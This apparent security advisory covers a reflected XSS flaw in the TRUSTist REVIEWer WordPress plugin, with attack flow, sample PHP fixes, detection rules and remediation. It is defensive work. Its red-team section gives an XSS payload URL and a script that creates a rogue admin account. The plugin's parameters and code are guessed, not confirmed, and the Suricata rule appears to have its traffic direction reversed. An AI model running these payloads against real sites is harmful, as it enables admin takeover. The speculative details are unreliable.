CVE-2025-22567

Executive Summary

CVE-2025-22567 is a Reflected Cross-Site Scripting (XSS) vulnerability found in the TRUSTist REVIEWer WordPress plugin, developed by Trustist. This plugin is designed to display customer reviews on WordPress sites. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code into a reflected response. An attacker can craft a malicious link that, when clicked by an authenticated administrator or editor, executes the injected script in the context of the WordPress admin panel. This can lead to session hijacking, privilege escalation, or the injection of malicious content into the site. The CVSS score is 7.1 (High), and no official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who have installed the TRUSTist REVIEWer plugin (version <= 2.0) are at risk. Since the plugin is part of the WordPress ecosystem, the attack surface is broad, affecting any site using this plugin. No patch is currently available, making this a high-priority unpatched vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed to trigger the vulnerability.
• User Interaction (UI): Required (R) – The victim must click a crafted link.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and can lead to significant compromise of a WordPress site if an admin user is targeted.

Deep Dive & Mechanics

The vulnerability exists in the TRUSTist REVIEWer plugin due to improper sanitization of user-supplied input in a reflected manner. The plugin likely takes a parameter (e.g., review_id, page, or a search query) from the URL and reflects it directly into the HTML response without proper encoding or escaping. This allows an attacker to inject JavaScript code that executes in the victim's browser.

Attack Flow:

1. An attacker identifies a WordPress site using the vulnerable plugin.
2. The attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter.
3. The attacker sends this URL to a victim (e.g., via phishing email, social media, or a compromised site).
4. The victim, who may be an authenticated WordPress admin, clicks the link.
5. The plugin processes the request and reflects the malicious input into the page output.
6. The victim's browser executes the injected JavaScript, allowing the attacker to perform actions such as stealing session cookies, creating admin accounts, or injecting malicious content.

Root Cause: The plugin fails to use WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), wp_kses()) when outputting user-supplied data.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Example):

<?php
// In a plugin file, e.g., trustist-reviewer.php
$review_id = $_GET['review_id'];
echo "<div class='review'>Review ID: " . $review_id . "</div>";
?>

Patched Code (Hypothetical):

<?php
$review_id = isset($_GET['review_id']) ? sanitize_text_field($_GET['review_id']) : '';
echo "<div class='review'>Review ID: " . esc_html($review_id) . "</div>";
?>

The patched version uses sanitize_text_field() to strip dangerous characters and esc_html() to encode HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress on a local server (e.g., XAMPP, Docker).
2. Install the TRUSTist REVIEWer plugin version 2.0.
3. Create a test page that uses the plugin's functionality.

Exploitation Steps:

1. Identify a vulnerable parameter. For example, the plugin might have a shortcode or admin page that reflects a review_id parameter.
2. Craft a malicious URL:

   http://target-site.com/wp-admin/admin.php?page=trustist-reviewer&review_id=<script>alert('XSS')</script>
   

3. Send the URL to a victim (e.g., an admin user).
4. When the victim clicks the link, the JavaScript executes.

Advanced Payload:

<script>
fetch('/wp-admin/admin-ajax.php?action=create_admin&username=attacker&password=attacker123&email=attacker@evil.com');
</script>

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for suspicious URL patterns containing <script>, onerror=, javascript:, etc.
2. Use a Web Application Firewall (WAF) to block reflected XSS attempts.
3. Implement Content Security Policy (CSP) headers to restrict script execution.
4. Educate users about phishing attacks and not clicking suspicious links.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri=*trustist-reviewer* AND uri=*<script>*
| table _time, clientip, uri, status

Indicators of Compromise (IOCs)

• Network IOCs:
  • URLs containing trustist-reviewer with suspicious parameters like review_id=<script>.
  • Outbound connections to attacker-controlled domains from the WordPress admin panel.
• File IOCs:
  • Modified WordPress core files (e.g., wp-config.php) or plugin files.
  • New admin users created in the WordPress database.
• Log IOCs:
  • Web server logs showing requests with encoded or raw XSS payloads in the query string.
  • Error logs showing PHP warnings related to unsanitized $_GET or $_POST variables.

Detection Engineering

YARA Rule

rule Detect_TRUSTist_REVIEWer_XSS {
    meta:
        description = "Detects potential XSS payloads in TRUSTist REVIEWer plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22567"
    strings:
        $xss_payload1 = /<script[^>]*>.*<\/script>/i
        $xss_payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss_payload3 = /javascript\s*:/i
        $plugin_ref = /trustist-reviewer/i
    condition:
        any of ($xss_payload*) and $plugin_ref
}

Sigma Rule

title: Reflected XSS in TRUSTist REVIEWer Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting the TRUSTist REVIEWer WordPress plugin
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-22567
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'trustist-reviewer'
            - '<script>'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of the plugin with non-malicious parameters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-22567 TRUSTist REVIEWer Reflected XSS Attempt"; flow:to_server,established; content:"trustist-reviewer"; http_uri; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. If the plugin is critical, implement a Web Application Firewall (WAF) rule to block XSS payloads in URLs containing trustist-reviewer.
3. Add a Content Security Policy (CSP) header to restrict inline scripts:

   Content-Security-Policy: default-src 'self'; script-src 'self' https://trustist.com;
   

Long-Term Fix:

• The vendor must release a patched version that properly sanitizes and escapes all user inputs.
• Users should monitor the WordPress plugin repository for updates.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.

Valters IT